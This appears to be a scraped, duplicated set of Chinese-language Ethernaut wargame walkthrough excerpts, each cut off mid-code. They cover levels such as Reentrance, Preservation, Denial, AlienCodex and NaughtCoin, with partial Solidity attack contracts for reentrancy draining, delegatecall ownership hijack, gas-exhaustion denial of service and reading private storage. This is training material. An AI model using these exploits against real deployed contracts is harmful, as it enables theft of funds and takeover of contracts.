Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目Recovery 创建 SimpleToken 合约地址忘记了，而且向里面转了0.001 ether 个ether， 需要想办法吧ether转出来。Hack思路找到丢失的合约地址模拟计算方法,原来是标准的创建，很容模拟。其他技巧调用 destroy 方法攻击代码interface ISimpleToken { function destroy(address payable _to) external; } contract RecoveryHack { ISimpleToken public exploitInst; address public simpleToken; constructor(address _target) { simpleToken = address(uint160(uint256(keccak2...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目Recovery 创建 SimpleToken 合约地址忘记了，而且向里面转了0.001 ether 个ether， 需要想办法吧ether转出来。Hack思路找到丢失的合约地址模拟计算方法,原来是标准的创建，很容模拟。其他技巧调用 destroy 方法攻击代码interface ISimpleToken { function destroy(address payable _to) external; } contract RecoveryHack { ISimpleToken public exploitInst; address public simpleToken; constructor(address _target) { simpleToken = address(uint160(uint256(keccak2...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目把自己设置为 entrantHack思路三个关卡gateOne 和上一关一样，用一个合约转一下gateTwo 要求被调用方没有执行代码，只能在合约创建时进行攻击gateThree 当前地址后 8个字节做取反运算interface IGatekeeperTwo { function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperTwoHack { uint64 _gateKey; IGatekeeperTwo public exploitInst; constructor(address _target) { exploitInst = IGatekeeperTwo(_target); unchecked { _gateKey = ui...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目把自己设置为 entrantHack思路三个关卡gateOne 和上一关一样，用一个合约转一下gateTwo 要求被调用方没有执行代码，只能在合约创建时进行攻击gateThree 当前地址后 8个字节做取反运算interface IGatekeeperTwo { function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperTwoHack { uint64 _gateKey; IGatekeeperTwo public exploitInst; constructor(address _target) { exploitInst = IGatekeeperTwo(_target); unchecked { _gateKey = ui...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将 Elevator 合约中的 top 改为true。Hack思路goTo 方法里调用的 isLastFloor 方法是外部实现的，直接另外写一个合约，第一次调用 返回true，第二次跳用返回false。 攻击合约代码interface IElevator { function goTo(uint256 _floor) external; } contract ElevatorHack { IElevator public exploitInst; uint256 private timesCalled; constructor(address _target) { exploitInst = IElevator(_target); } function attack() external payable { exploit...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将 Elevator 合约中的 top 改为true。Hack思路goTo 方法里调用的 isLastFloor 方法是外部实现的，直接另外写一个合约，第一次调用 返回true，第二次跳用返回false。 攻击合约代码interface IElevator { function goTo(uint256 _floor) external; } contract ElevatorHack { IElevator public exploitInst; uint256 private timesCalled; constructor(address _target) { exploitInst = IElevator(_target); } function attack() external payable { exploit...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将合约 locked 变量改为true。Hack思路关键的data 变量是private 的，但是可以推算出在合约下标为 5 的slot，直接可以读出来。Solidity Storageawait web3.eth.getStorageAt(instance, 5); Output: 0x8e9f9f61dd738241ee4429348250eb6bcd4b985d1546db55888fe7bb937b5ae5 await contract.unlock("0x8e9f9f61dd738241ee4429348250eb6b") 如果合约版本比较高，可以直接用 foundry 的 cast 命令读出来。# 循环读取 slot slot=0 while [ "$slot" -lt 10 ]; do echo "Slot:$...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将合约 locked 变量改为true。Hack思路关键的data 变量是private 的，但是可以推算出在合约下标为 5 的slot，直接可以读出来。Solidity Storageawait web3.eth.getStorageAt(instance, 5); Output: 0x8e9f9f61dd738241ee4429348250eb6bcd4b985d1546db55888fe7bb937b5ae5 await contract.unlock("0x8e9f9f61dd738241ee4429348250eb6b") 如果合约版本比较高，可以直接用 foundry 的 cast 命令读出来。# 循环读取 slot slot=0 while [ "$slot" -lt 10 ]; do echo "Slot:$...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目设计一个合约，有一下要求地址存储在 solver 里提供一个 whatIsTheMeaningOfLife() 方法返回 42合约 opcode 小于10Hack思路合约 opcode 小于10只能用汇编了，可以参考代码。 interface IMagicNumHack { function setSolver(address _solver) external; } contract MagicNumHack { IMagicNumHack public exploitInst; constructor(address _target) { exploitInst = IMagicNumHack(_target); bytes memory code = hex"600a600c600039600a6000f3602a60...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目设计一个合约，有一下要求地址存储在 solver 里提供一个 whatIsTheMeaningOfLife() 方法返回 42合约 opcode 小于10Hack思路合约 opcode 小于10只能用汇编了，可以参考代码。 interface IMagicNumHack { function setSolver(address _solver) external; } contract MagicNumHack { IMagicNumHack public exploitInst; constructor(address _target) { exploitInst = IMagicNumHack(_target); bytes memory code = hex"600a600c600039600a6000f3602a60...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目获取合约owner权限Hack思路Preservation 有委托调用到其他合约，可以在其他合约里做手脚。interface IPreservation { function setFirstTime(uint256) external; } contract PreservationHack { // 和攻击合约声明相同的变量 address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; IPreservation public exploitInst; constructor(address _target) { exploitInst = IPreservation(...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目获取合约owner权限Hack思路Preservation 有委托调用到其他合约，可以在其他合约里做手脚。interface IPreservation { function setFirstTime(uint256) external; } contract PreservationHack { // 和攻击合约声明相同的变量 address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; IPreservation public exploitInst; constructor(address _target) { exploitInst = IPreservation(...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将 Reentrance 合约中的ether全部转出来。Hack思路这是一个类似于钱包的合约，可以向里面存取 ether，转ether时会有一个强制的回调hook机制，而且这个钱包的扣余额时在转账之前的，所以可以进入无限 hook 回调导致ether被偷走。 function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { // 提现，会触发 receive 方法 (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } // 扣除余额 balances[msg.sender] -= _amount; } } 攻击合约代码interface...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将 Reentrance 合约中的ether全部转出来。Hack思路这是一个类似于钱包的合约，可以向里面存取 ether，转ether时会有一个强制的回调hook机制，而且这个钱包的扣余额时在转账之前的，所以可以进入无限 hook 回调导致ether被偷走。 function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { // 提现，会触发 receive 方法 (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } // 扣除余额 balances[msg.sender] -= _amount; } } 攻击合约代码interface...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目阻止其他人调用 withdraw() 方法。Hack思路给owner转钱之前会给 partner 转，可以在 partner 合约中的 receive() 中把 Gas 耗光。interface IDenial { function setWithdrawPartner(address _partner) external; } contract _loop { } contract DenialHack { constructor(address _target) { IDenial exploitInst = IDenial(_target); exploitInst.setWithdrawPartner(address(this)); } fallback() external payable { // 死循环去耗光 ...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目阻止其他人调用 withdraw() 方法。Hack思路给owner转钱之前会给 partner 转，可以在 partner 合约中的 receive() 中把 Gas 耗光。interface IDenial { function setWithdrawPartner(address _partner) external; } contract _loop { } contract DenialHack { constructor(address _target) { IDenial exploitInst = IDenial(_target); exploitInst.setWithdrawPartner(address(this)); } fallback() external payable { // 死循环去耗光 ...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将合约owner改为自己Hack思路合约里的 owner 是 private 的，也没有提供方法修改。但是后面有个 数组，提供了比较hack的方法，可以从这里入手 。Storage SlotStorage Slot攻击代码// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IAlienCodex { function owner() external view returns (address); function makeContact() external; function record(bytes32 _content) external; function retract() external; function revise(uint...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将合约owner改为自己Hack思路合约里的 owner 是 private 的，也没有提供方法修改。但是后面有个 数组，提供了比较hack的方法，可以从这里入手 。Storage SlotStorage Slot攻击代码// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IAlienCodex { function owner() external view returns (address); function makeContact() external; function record(bytes32 _content) external; function retract() external; function revise(uint...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将衣服的价格修改的比较小。Hack思路contract ShopHack { Shop public exploitInst; constructor(address _target) { exploitInst = Shop(_target); } function attack() public { exploitInst.buy(); } function price() external view returns (uint256) { return exploitInst.isSold() ? 1 : 100; } } Hack案例…防范思路…参考资料….

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将衣服的价格修改的比较小。Hack思路contract ShopHack { Shop public exploitInst; constructor(address _target) { exploitInst = Shop(_target); } function attack() public { exploitInst.buy(); } function price() external view returns (uint256) { return exploitInst.isSold() ? 1 : 100; } } Hack案例…防范思路…参考资料….

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目把 entrant 变量的地址改为自己。Hack思路需要调 enter 方法，而且得通过3个装饰器的检查。gateOne 第一个检查 msg.sender != tx.origin 只要用另外一个合约转一下就可以通过gateTwo 需要满足一个特殊剩余 gas , 可以粗暴的循环尝试gateThree 满足一个特殊的 keygateThree 通过条件：// 0x 0000 0000 1111 [1111] == 0x 0000 0000 0000 [1111] 括号里的值相等 uint32(uint64(_gateKey)) == uint16(uint64(_gateKey) // 0x 0000 0000 [0000 0000] == 0x 0000 0000 [0000 0000] 括号里的值不相等 uint32(u...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目把 entrant 变量的地址改为自己。Hack思路需要调 enter 方法，而且得通过3个装饰器的检查。gateOne 第一个检查 msg.sender != tx.origin 只要用另外一个合约转一下就可以通过gateTwo 需要满足一个特殊剩余 gas , 可以粗暴的循环尝试gateThree 满足一个特殊的 keygateThree 通过条件：// 0x 0000 0000 1111 [1111] == 0x 0000 0000 0000 [1111] 括号里的值相等 uint32(uint64(_gateKey)) == uint16(uint64(_gateKey) // 0x 0000 0000 [0000 0000] == 0x 0000 0000 [0000 0000] 括号里的值不相等 uint32(u...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目玩家在ERC20合约有余额，但是被锁住了，需要提前把余额转走。Hack思路只是锁住了transfer 方法，还有其他的 approve机制也可以讲代币转走。 先手动 approve 给攻击合约足够的钱，再调用攻击函数。import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract NaughtCoinHack { IERC20 public exploitInst; constructor(address _target) { exploitInst = IERC20(_target); } function attack() external payable { exploitInst.transferFrom(msg.se...

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目玩家在ERC20合约有余额，但是被锁住了，需要提前把余额转走。Hack思路只是锁住了transfer 方法，还有其他的 approve机制也可以讲代币转走。 先手动 approve 给攻击合约足够的钱，再调用攻击函数。import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract NaughtCoinHack { IERC20 public exploitInst; constructor(address _target) { exploitInst = IERC20(_target); } function attack() external payable { exploitInst.transferFrom(msg.se...